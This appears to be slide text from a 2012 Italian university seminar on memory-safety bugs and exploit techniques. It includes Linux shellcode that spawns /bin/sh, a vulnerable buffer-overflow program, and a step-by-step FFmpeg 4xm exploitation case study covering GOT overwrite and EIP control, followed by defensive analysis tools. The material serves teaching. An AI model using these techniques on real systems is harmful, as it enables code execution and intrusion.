vulnerabilità exploit

Vulnerabilità nella gestione della memoria e tecniche di exploit #0x1/0x28

Vulnerabilità nella gestione della memoria e tecniche di exploit

Corso di Laurea Magistrale in Informatica – Università di Cagliari

Seminario per il corso di Fondamenti di Sicurezza – A.D. 2012

Relatore: Hack. Stefano Sabatini


Attacco e difesa di sistemi informatici

Felix Vallotton - Femme au chapeu noir - 1908

-

Jean Baptiste Greuze – Le chapeau blanc - 1780


Shellcode writing; pause.asmSEGMENT .textmov eax, 29 ;29 is the code for pauseint 80h

$ nasm -f elf64 pause.asm$ ld -s -o pause pause.o$ objdump -d pausepause: file format elf64-x86-64

Disassembly of section .text:

00000000004000e0 <.text>: 4000e0: b8 1d 00 00 00 mov $0x1d,%eax 4000e5: cd 80 int $0x80

Lo shellcode non deve contenere caratteri nulli.


Shellcode writing; pause.asmSEGMENT .textxor eax, eax ;reset eax to 0mov al, 29 ;29 is the code for pauseint 80h

$ objdump -d pausefile format elf64-x86-64

Disassembly of section .text:

00000000004000e0 <.text>: 4000e0: 31 c0 xor %eax,%eax 4000e2: b0 1d mov $0x1d,%al 4000e4: cd 80 int $0x80

const char shellcode[]="\x31\c0d\xb0\x1d\xcd\x80";int main(void){ int (*fn)() = shellcode; fn();}


Shellcode writing

# AT&T GNU as syntax# as -o shellcode64.o shellcode6.s## rax: system call number# rdi: arg0# rcx: return address for syscall/sysret# rsi: arg1# rdx: arg2# r10: arg3

xor %rdx,%rdx # reset argument 1xor %rsi,%rsi # reset argument 2mov $0x0068732f6e69622f,%rdi # push /bin/sh to the stackpush %rdi # rsp now points to the string /bin/shmov %rsp,%rdi # copy the address to rsp -> arg 0xor %rax,%rax # reset raxmov $0x3b,%al # only write the first byte of raxsyscall # call execve

Un shellcode un po' più utile (Linux x86-64 bit):


Shellcode injection

Una shellcode può essere inserita all'interno della memoria solitamente tramite buffer overflow o scrittura su memoria di input diretto dall'utente e tramite opportuno reindirizzamento

La shellcode eseguita è valida solo per particolari combinazioni di sistema operativo/architettura

L'exploit usato per l'iniezione dipende dalla versione del software attaccato


Errori nella gestione della memoria in programmi C

Exploit D/DOS (Distribuited

Denial of Service) – dati non validati inducono crash o malfunzionamenti del programma attaccato

Exploit di accesso alla macchina obiettivo

Vulnerabilità Buffer overflow (stack

overflow, heap overflow)

memleak Null-pointer

dereference Double free


Buffer overflowint main(void){ FILE *infile = fopen("/dev/stdin", "r"); char c; int count; char buf[128];

if (!infile) { fprintf(stderr, "Impossible to open input: %s\n", strerror(errno)); return 1; }

count = 0; while ((c = fgetc(infile)) != EOF) { if (c == '\n') { buf[count] = 0; count = 0; } else buf[count++] = c; }

return 0;}

Non viene effettuato un controllo sulla lunghezza dell'input, che sovrascrive la memoria dello stack

La sovrascrittura può causare malfunzionamenti o crash

Può essere usato in modo da ”iniettare” codice da eseguire all'interno del programma


Controllo della macchina obiettivo

Solitamente avviene tramite sovrascrittura del registro che contiene il puntatore al codice eseguito (EIP/RIP nelle macchine X86)

Gli exploit sono specifici per l'architettura / sistema operativo / versione del software attaccato

Solitamente avvengono mediante iniezione di codice eseguibile controllato dall'attaccante o sovrascrittura di memoria tramite buffer overflow


Caso di studio

Vedi ”A Bug Hunter's Diary”, capitolo 4: ”NULL pointer FTW”

Vulnerabilità in FFmpeg/libavformat/4xm.c, versione SVN-r16556

FFmpeg viene utilizzato da gran parte dei programmi multimediali in Linux e non solo, in particolare da VLC e Google Chrome, e da gran parte dei servizi di transcodifica, che sono direttamente affetti dalle sue vulnerabilità


Caso di studio

static int fourxm_read_header(AVFormatContext *s, AVFormatParameters *ap){ [..] int current_track = -1; fourxm->track_count = 0; fourxm->tracks = NULL; [..] current_track = AV_RL32(&header[i + 8]); [..] if (current_track + 1 > fourxm->track_count) { fourxm->track_count = current_track + 1; if((unsigned)fourxm->track_count >= UINT_MAX / sizeof(AudioTrack)) return -1; fourxm->tracks = av_realloc(fourxm->tracks, fourxm->track_count * sizeof(AudioTrack)); if (!fourxm->tracks) { av_free(header); return AVERROR(ENOMEM); } } fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]); fourxm->tracks[current_track].channels = AV_RL32(&header[i + 36]); fourxm->tracks[current_track].sample_rate = AV_RL32(&header[i + 40]); fourxm->tracks[current_track].bits = AV_RL32(&header[i + 44]);[..]


Caso di studio

Dinamica in caso di funzionamento ”imprevisto”

1. fourxm->tracks viene inizializzato a NULL2. in certi casi (vedi codice completo) il valore di current_track viene estratto dai dati forniti dall'utente nel file multimediale3. se il valore di current_track+1 è minore di zero (ad esempio se current_track è negativo), non viene allocato il buffer nell'heap.4. fourxm->tracks punta ancora all'indirizzo di memoria NULL.5. il NULL pointer viene dereferenziato usando il valore controlloato dall'utente di current_track, e 4 valori a 32 bit (per un totale di 32 byte) vengono assegnati alle locazioni di memoria specificate6. quattro locazioni di memoria controllate dall'utente possono essere sovrascritte con dati forniti dall'utente

current_track = AV_RL32(&header[i + 8]);

current_track è un signed int, nel caso in cui il valore letto sia > 0x8000000 il valore assegnato è negativo.


Caso di studio

Exploitation

1. Trovare un sample 4x movie con un chunk strk valido (è la parte del file che ”attiva” il codice mostrato sopra)

2. Studiare il layout del chunk strk nel file 4xm

3. Manipolare il chunk strk in modo da indurre un crash in FFmpeg

4. Manipolare il chunk strk in modo da ottenere controllo del registro EIP


Caso di studio

Passo 1 – trovare un sample 4xm Sample per molti formati multimediali possono

essere trovati su: http://samples.ffmpeg.org/ In particolare il file game-

formats/4xm/TimeGatep01s01n01a02_2.4xm contiene il chunk strk.

http://samples.ffmpeg.org/


Caso di studio

Passo 2 – studiare struttura del formato Informazioni sul formato possono essere ottenute:

dal sito: http://wiki.multimedia.cx/index.phptitle=4xm_Format

bytes 0-3 fourcc: 'strk'bytes 4-7 length of strk structure (40 or 0x28 bytes)bytes 8-11 track numberbytes 12-15 audio type: 0 = PCM, 1 = 4X IMA ADPCMbytes 16-35 unknownbytes 36-39 number of audio channelsbytes 40-43 audio sample ratebytes 44-47 audio sample resolution (8 or 16 bits)

http://wiki.multimedia.cx/index.phptitle=4xm_Format

http://wiki.multimedia.cx/index.php?title=4X_IMA_ADPCM


Caso di studio

Passo 3 – manipolare il sample in modo da indurre un crash


Caso di studio

Passo 4 – prendere controllo del registro EIP

Dall'analisi del crash si può dedurre come viene calcolata la regione che viene scritta in memoria, nel caso specifico si ottiene:

(ebx * 20) + 0x10 = destination address of the write operation

(ebx contiene il valore di current_track) che corrisponde al codice C:

fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);

A questo punto si tratta di individuare quale locazione di memoria sovrascrivere per prendere controllo dell'EIP.


Caso di studio La GOT è una tabella caratteristica del formato ELF (Executable and

Linkable Format) usata da Linux.

La tecnica adottata consiste nella sovrascrittura della GOT (Global Offset Table) entry associata alla prossima chiamata a funzione di sistema. L'indirizzo associato alla funzione viene sovrascritto nell'EIP nel momento in cui la funzione è chiamata.

Dall'analisi del codice si vede che la prossima chiamata a funzione di sistema nel codice corrisponde al seguente diagramma:


Caso di studio

Si utilizza objdump per ottenere tale valore:$ objdump -R ffmpeg_g | grep memalign08560204 R_386_JUMP_SLOTposix_memalign

Si tratta quindi di calcolare il valore per current_track in modo che sia:

(current_track * 20) + 0x10 = 0x08560204

Lo si computa tramite il seguente programma, e si ottiene il valore: 8d378019


Caso di studio

#include <stdio.h>// GOT entry address of memalign()#define MEMALIGN_GOT_ADDR 0x08560204// Min and max value for 'current_track’#define SEARCH_START 0x80000000#define SEARCH_END 0xFFFFFFFFint main (void){ unsigned int a, b = 0; for (a = SEARCH_START; a < SEARCH_END; a++) { b = (a * 20) + 0x10; if (b == MEMALIGN_GOT_ADDR) { printf ("Value for 'current_track': %08x\n", a); return 0; } } printf ("No valid value for 'current_track' found.\n"); return 1;}

Approccio basato sulla ”forza bruta” per il calcolo del valore da assegnare a current_track per sovrascrivere il valore di memoria voluto:


Caso di studio

Il valore così ottenuto '8d378019' viene usato per modificare il file di input


Caso di studio


Caso di studio

Una volta sovrascritto il registro EIP con un valore voluto, è possibile controllare il flusso di esecuzione della macchina.

Nel caso di studio usato, l'autore non mostra una tecnica di exploit particolare (non è legale in Germania – il paese dell'autore - mostrare nei dettagli delle tecniche di exploit).

È possibile immaginare diverse tecniche da adottare: si può eseguire il shellcode con altre istruzioni scritte nella memoria con gli altri assegnamenti, richiamare codice inserito precedentemente (ad esempio tramite buffer overflow) o saltare a una qualsiasi istruzione del programma.


Tecniche di analisi delle vulnerabilità

Analisi statica

Auditing manuale

Controllo lessicale: individuazione ”pattern” (e.g. uso di funzioni intrinsecamente ”non sicure”)

Controlli automatici su AST (Abstract Syntax Tree) – analisi semantica (integrazione con il compilatore)

Analisi dinamica

Fuzzing

Test massivi di immissione di input random

Analisi nell'uso della memoria


Tecniche di analisi delle vulnerabilità - strumenti

Lint (valore storico, check integrati nel compilatore)

Rats – Rough Auditing Tool for Security:

https://www.fortify.com/ssa-elements/threat-intelligence/rats.html

Flawfinder: http://www.dwheeler.com/flawfinder/

Splint - Secure Programming Lint): http://www.splint.org/

Vulncheck: http://gcc.vulncheck.org/

Fuzz/zzuf (dynamic analysis)

Valgrind (memory dynamic analysis): http://valgrind.org/

https://www.fortify.com/ssa-elements/threat-intelligence/rats.html

http://www.splint.org/

http://gcc.vulncheck.org/


Lezione imparata

È possibile scrivere nella memoria di un programma del codice macchina eseguibile, solitamente chiamato ”shellcode”

È possibile sfruttare le falle nella gestione della memoria di un programma C/C++ in modo da indurre malfunzionamenti o l'esecuzione di codice macchina ad hoc

Esistono delle tecniche automatiche di analisi statica e dinamica delle vulnerabilità, l'auditing manuale è sempre necessario


Risorse su Internet

Common Vulnerabilities and Exposurehttp://cve.mitre.org/

http://secunia.com/

http://www.trapkit.de/

MicroSoft Security Response Center: http://www.microsoft.com/security/msrc/default.aspx

http://www.securityfocus.com

http://www.projectshellcode.com/

http://www.metasploit.com/

http://www.phrack.org

http://cve.mitre.org/

http://www.metasploit.com/


Bibliografia

[KLEIN] A Bug Hunter's Diary: A Guided Tour Through the Wilds of Software Security, Tobias Klein, No Starch press

[ERIKSON] Hacking: The Art of Exploitation, 2 nd edition, Jon Erikson, No Starch press

[SOTIROV] Automatic vulnerability detection using static source code analysis, thesis, Univ. of Alabama 2006, Alexander Ivanov Sotirov [disponibile all'indirizzo:

http://gcc.vulncheck.org/sotirov05automatic.pdf]

[LINUX_SHELLCODE_INTRO] Practical Linux Shellcode - An introduction – By Barabas:

www.shell-storm.org/papers/files/432.pdf

[METASPLOIT] David Kennedy - Metasploit: The Penetration Tester's Guide

vulnerabilità exploit

Documents